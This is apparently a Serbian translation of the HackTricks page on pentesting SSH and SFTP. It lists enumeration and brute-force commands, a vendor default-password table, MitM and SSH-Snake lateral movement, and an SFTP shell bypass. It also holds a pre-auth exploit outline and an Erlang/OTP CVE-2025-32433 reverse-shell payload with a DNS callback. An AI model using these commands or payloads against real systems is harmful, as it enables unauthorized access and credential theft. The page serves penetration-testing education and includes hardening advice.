22 - Pentesting SSH/SFTP

Reading time: 16 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

SSH (Secure Shell or Secure Socket Shell) je mrežni protokol koji omogućava sigurnu vezu sa računarom preko nesigurne mreže. Neophodan je za održavanje poverljivosti i integriteta podataka prilikom pristupa udaljenim sistemima.

Podrazumevani port: 22

22/tcp open  ssh     syn-ack

SSH serveri:

  • openSSH – OpenBSD SSH, dolazi u BSD, Linux distribucijama i Windows-u od Windows 10
  • Dropbear – SSH implementacija za okruženja sa ograničenom memorijom i procesorskim resursima, uključena u OpenWrt
  • PuTTY – SSH implementacija za Windows; klijent se često koristi, dok je upotreba servera ređa
  • CopSSH – implementacija OpenSSH za Windows

SSH biblioteke (implementing server-side):

  • libssh – višeplatformska C biblioteka koja implementira SSHv2 protokol sa binding-ima za Python, Perl i R; koristi je KDE za sftp i GitHub za git SSH infrastrukturu
  • wolfSSH – SSHv2 serverska biblioteka napisana u ANSI C i namenjena ugradnim sistemima, RTOS-ovima i okruženjima sa ograničenim resursima
  • Apache MINA SSHD – Apache SSHD Java biblioteka zasnovana je na Apache MINA
  • paramiko – Python biblioteka za SSHv2 protokol

Enumeration

bash
nc -vn <IP> 22

Automatizovani ssh-audit

ssh-audit je alat za proveru konfiguracije SSH servera i klijenata.

https://github.com/jtesta/ssh-audit je ažurirani fork od https://github.com/arthepsy/ssh-audit/

Mogućnosti:

  • Podrška za SSH1 i SSH2 protokole na serveru;
  • analiza konfiguracije SSH klijenta;
  • preuzimanje bannera, prepoznavanje uređaja ili softvera i operativnog sistema, otkrivanje kompresije;
  • prikupljanje algoritama za key-exchange, host-key, encryption i message authentication code;
  • izlazne informacije o algoritmima (dostupno od, uklonjeno/onemogućeno, nebezbedno/slabo/zastarelo, itd);
  • preporuke za algoritme (dodati ili ukloniti u zavisnosti od prepoznate verzije softvera);
  • izlazne bezbednosne informacije (povezani problemi, dodeljena lista CVE, itd);
  • analiza kompatibilnosti SSH verzija na osnovu informacija o algoritmima;
  • istorijske informacije iz OpenSSH, Dropbear SSH i libssh;
  • radi na Linuxu i Windowsu;
  • bez zavisnosti
bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

Pogledajte to u akciji (Asciinema)

Javni SSH ključ servera

bash
ssh-keyscan -t rsa <IP> -p <PORT>

Slabi šifarski algoritmi

Ovo se podrazumevano otkriva pomoću nmap. Možete takođe koristiti sslcan ili sslyze.

Nmap skripte

bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

U nekim verzijama OpenSSH moguće je izvesti timing attack kako bi se enumerate users. Možete koristiti metasploit module kako biste iskoristili ovo:

msf> use scanner/ssh/ssh_enumusers

Brute force

Neki uobičajeni ssh credentials here and here i ispod.

Private Key Brute Force

Ako znate neke ssh private keys koje bi se mogle koristiti... hajde da pokušamo. Možete koristiti nmap script:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Ili MSF pomoćni modul:

msf> use scanner/ssh/ssh_identify_pubkeys

Ili koristite ssh-keybrute.py (nativan python3, lagan i ima omogućene legacy algoritme): snowdroppe/ssh-keybrute.

Poznati badkeys se mogu naći ovde:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Slabi SSH ključevi / Debian predvidljiv PRNG

Neki sistemi imaju poznate propuste u random seed-u koji se koristi za generisanje kriptografskog materijala. To može dovesti do drastično smanjenog keyspace-a koji se može bruteforce-ovati. Pre-generisani setovi ključeva generisani na Debian sistemima pogođenim slabim PRNG-om dostupni su ovde: g0tmi1k/debian-ssh.

Treba da pogledate ovde kako biste potražili validne ključeve za ciljnu mašinu.

Kerberos / GSSAPI SSO

Ako ciljni SSH server podržava GSSAPI (na primer Windows OpenSSH na domain controller-u), možete se autentifikovati koristeći svoj Kerberos TGT umesto lozinke.

Workflow from a Linux attacker host:

bash
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Napomene:

  • Ako se povežete na pogrešno ime (npr. kratko ime hosta, alias, ili pogrešan redosled u /etc/hosts), možete dobiti: "Server not found in Kerberos database" jer SPN ne odgovara.
  • crackmapexec ssh --kerberos takođe može koristiti vaš ccache za Kerberos autentifikaciju.

Podrazumevani kredencijali

ProizvođačKorisnička imenaLozinke
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

Ako se nalazite u lokalnoj mreži u kojoj će se žrtva povezati na SSH server koristeći korisničko ime i lozinku, možete pokušati da izvršite MitM attack kako biste ukrali te kredencijale:

Tok napada:

  • Preusmeravanje saobraćaja: Napadač preusmerava saobraćaj žrtve na svoju mašinu, efektivno presrećući pokušaj konekcije ka SSH serveru.
  • Presretanje i beleženje: Napadačeva mašina deluje kao proxy, hvatajući podatke za prijavu korisnika pretvarajući se da je legitimni SSH server.
  • Izvršenje komandi i prosleđivanje: Na kraju, napadačev server zabeleži korisničke kredencijale, prosledi komande pravom SSH serveru, izvrši ih i pošalje rezultate nazad korisniku, čineći proces neprimetnim i legitimnim.

SSH MITM radi upravo ono što je gore opisano.

Da biste izvršili stvarni MitM i uhvatili podatke, možete koristiti tehnike poput ARP spoofing, DNS spoofing ili drugih opisanih u Network Spoofing attacks.

SSH-Snake

Ako želite da prolazite kroz mrežu koristeći otkrivene SSH privatne ključeve na sistemima, koristeći svaki privatni ključ na svakom sistemu za pristup novim hostovima, onda je SSH-Snake ono što vam treba.

SSH-Snake automatski i rekurzivno obavlja sledeće zadatke:

  1. Na trenutnom sistemu pronađe sve SSH privatne ključeve,
  2. Na trenutnom sistemu pronađe sve hostove ili destinacije (user@host) na kojima bi privatni ključevi mogli biti prihvaćeni,
  3. Pokuša da se poveže putem SSH-a na sve destinacije koristeći sve otkrivene privatne ključeve,
  4. Ako je destinacija uspešno povezana, ponavlja korake #1 - #4 na povezanom sistemu.

Potpuno je samoreplicirajući i samopropagirajući -- i potpuno fileless.

Greške u konfiguraciji

Prijava kao root

Često SSH serveri podrazumevano dozvoljavaju prijavu root korisnika, što predstavlja značajan bezbednosni rizik. Onemogućavanje prijave root korisnika je kritičan korak u zaštiti servera. Neovlašćeni pristup sa administratorskim privilegijama i brute force napadi mogu se ublažiti ovom promenom.

Za onemogućavanje prijave root korisnika u OpenSSH:

  1. Uredite SSH konfiguracioni fajl sa: sudoedit /etc/ssh/sshd_config
  2. Promenite podešavanje sa #PermitRootLogin yes na PermitRootLogin no.
  3. Ponovo učitajte konfiguraciju koristeći: sudo systemctl daemon-reload
  4. Restartujte SSH server da biste primenili izmene: sudo systemctl restart sshd

SFTP Brute Force

SFTP command execution

Postoji uobičajena propust u SFTP podešavanjima, gde administratori nameravaju da korisnici razmenjuju fajlove bez omogućavanja udaljenog shell pristupa. Iako su korisnicima dodeljeni non-interactive shells (npr. /usr/bin/nologin) i ograničeni na određeni direktorijum, bezbednosna rupa i dalje postoji. Korisnici mogu zaobići ova ograničenja tako što će zatražiti izvršenje komande (kao što je /bin/bash) odmah nakon prijave, pre nego što njihov dodeljeni non-interactive shell stupi na snagu. Ovo omogućava neovlašćeno izvršenje komandi, potkopavajući nameravane mere bezbednosti.

Example from here:

bash
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Evo primera bezbedne SFTP konfiguracije (/etc/ssh/sshd_config – openSSH) za korisnika noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Ova konfiguracija će dozvoliti samo SFTP: onemogućavanjem shell pristupa prisiljavanjem start command-a i onemogućavanjem TTY pristupa, ali takođe onemogućavajući sve vrste port forwarding ili tunneling.

SFTP Tunneling

Ako imate pristup SFTP serveru, možete takođe tunnel-ovati svoj saobraćaj kroz njega, na primer koristeći uobičajeni port forwarding:

bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

sftp ima komandu "symlink". Dakle, ako imate prava za pisanje u nekom direktorijumu, možete kreirati symlinks ka drugim direktorijumima/fajlovima. Pošto ste verovatno zarobljeni unutar chroot-a, ovo neće biti naročito korisno za vas, ali, ako možete pristupiti kreiranom symlink iz no-chroot service (na primer, ako možete pristupiti symlink-u sa web-a), mogli biste otvoriti symlinkovane fajlove preko web-a.

Na primer, da biste kreirali symlink iz novog fajla "froot" u "/":

bash
sftp> symlink / froot

Ako možete da pristupite fajlu "froot" preko weba, bićete u mogućnosti da izlistate root ("/") direktorijum sistema.

Metode autentifikacije

U okruženjima visokog nivoa bezbednosti uobičajena je praksa omogućiti samo autentifikaciju zasnovanu na ključu ili dvofaktorsku autentifikaciju umesto jednostruke autentifikacije zasnovane na lozinki. Međutim, često se jače metode autentifikacije omoguće bez onemogućavanja slabijih. Čest slučaj je omogućavanje publickey u openSSH konfiguraciji i postavljanje kao podrazumevane metode, ali ne onemogućavanje password. Dakle, korišćenjem verbose moda SSH klijenta napadač može videti da je slabija metoda omogućena:

bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Na primer, ako je postavljen limit neuspelih pokušaja autentikacije i nikada ne stignete do password metode, možete koristiti opciju PreferredAuthentications да приморате коришћење те методе.

bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Potrebno je pregledati konfiguraciju SSH servera kako bi se proverilo da su dozvoljene samo očekivane metode. Korišćenje verbose moda na klijentu može pomoći da se uvidi efikasnost konfiguracije.

Konfiguracioni fajlovi

bash
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Authentication State-Machine Bypass (Pre-Auth RCE)

Several SSH server implementations contain logic flaws in the authentication finite-state machine that allow a client to send connection-protocol messages before authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to unauthenticated code execution or session creation.

At a protocol level any SSH message with a message code ≥ 80 (0x50) belongs to the connection layer (RFC 4254) and must only be accepted after successful authentication (RFC 4252). If the server processes one of those messages while still in the SSH_AUTHENTICATION state, the attacker can immediately create a channel and request actions such as command execution, port-forwarding, etc.

Generički koraci eksploatacije

  1. Uspostavite TCP konekciju na ciljni SSH port (obično 22, ali drugi servisi mogu izlagati Erlang/OTP na 2022, 830, 2222…).
  2. Sastavite raw SSH paket:
  • 4-byte packet_length (big-endian)
  • 1-byte message_code ≥ 80 (npr. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • Payload koji će biti interpretiran od strane izabranog tipa poruke
  1. Pošaljite paket(e) pre nego što kompletirate bilo koji korak autentifikacije.
  2. Interagujte sa server API-jem koji su sada izloženi pre-auth (izvršavanje komandi, port-forwarding, pristup fajl-sistemu, …).

Python proof-of-concept outline:

python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

U praksi ćete morati da izvršite (ili preskočite) key-exchange u zavisnosti od implementacije mete, ali no authentication nikada nije obavljena.


Erlang/OTP sshd (CVE-2025-32433)

  • Pogođene verzije: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Root cause: Erlang native SSH daemon ne validira trenutni state pre nego što pozove ssh_connection:handle_msg/2. Dakle, bilo koji paket sa message code 80-255 stiže do connection handler-a dok je sesija i dalje u userauth state-u.
  • Impact: unauthenticated remote code execution (daemon obično radi kao root na embedded/OT uređajima).

Primer payload-a koji pokreće reverse shell vezan za attacker-controlled channel:

erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection može se izvršiti preko DNS:

erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Detekcija i ublažavanje:

  • Pregledajte SSH saobraćaj: odbacite svaki paket sa kodom poruke ≥ 80 koji je uočen pre autentifikacije.
  • Ažurirajte Erlang/OTP na 27.3.3 / 26.2.5.11 / 25.3.2.20 ili noviju verziju.
  • Ograničite izloženost portova za upravljanje (22/2022/830/2222) – posebno na OT opremi.

Ostale pogođene implementacije

  • libssh 0.6 – 0.8 (na strani servera) – CVE-2018-10933 – prihvata neautentifikovani SSH_MSG_USERAUTH_SUCCESS poslat od klijenta, što je efektivno obrnuta logička greška.

Opšta lekcija je da svako odstupanje od RFC-om propisanih prelaza stanja može biti fatalno; pri pregledanju ili fuzzingu SSH daemona posebno obratite pažnju na state-machine enforcement.

References

HackTricks automatske komande

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks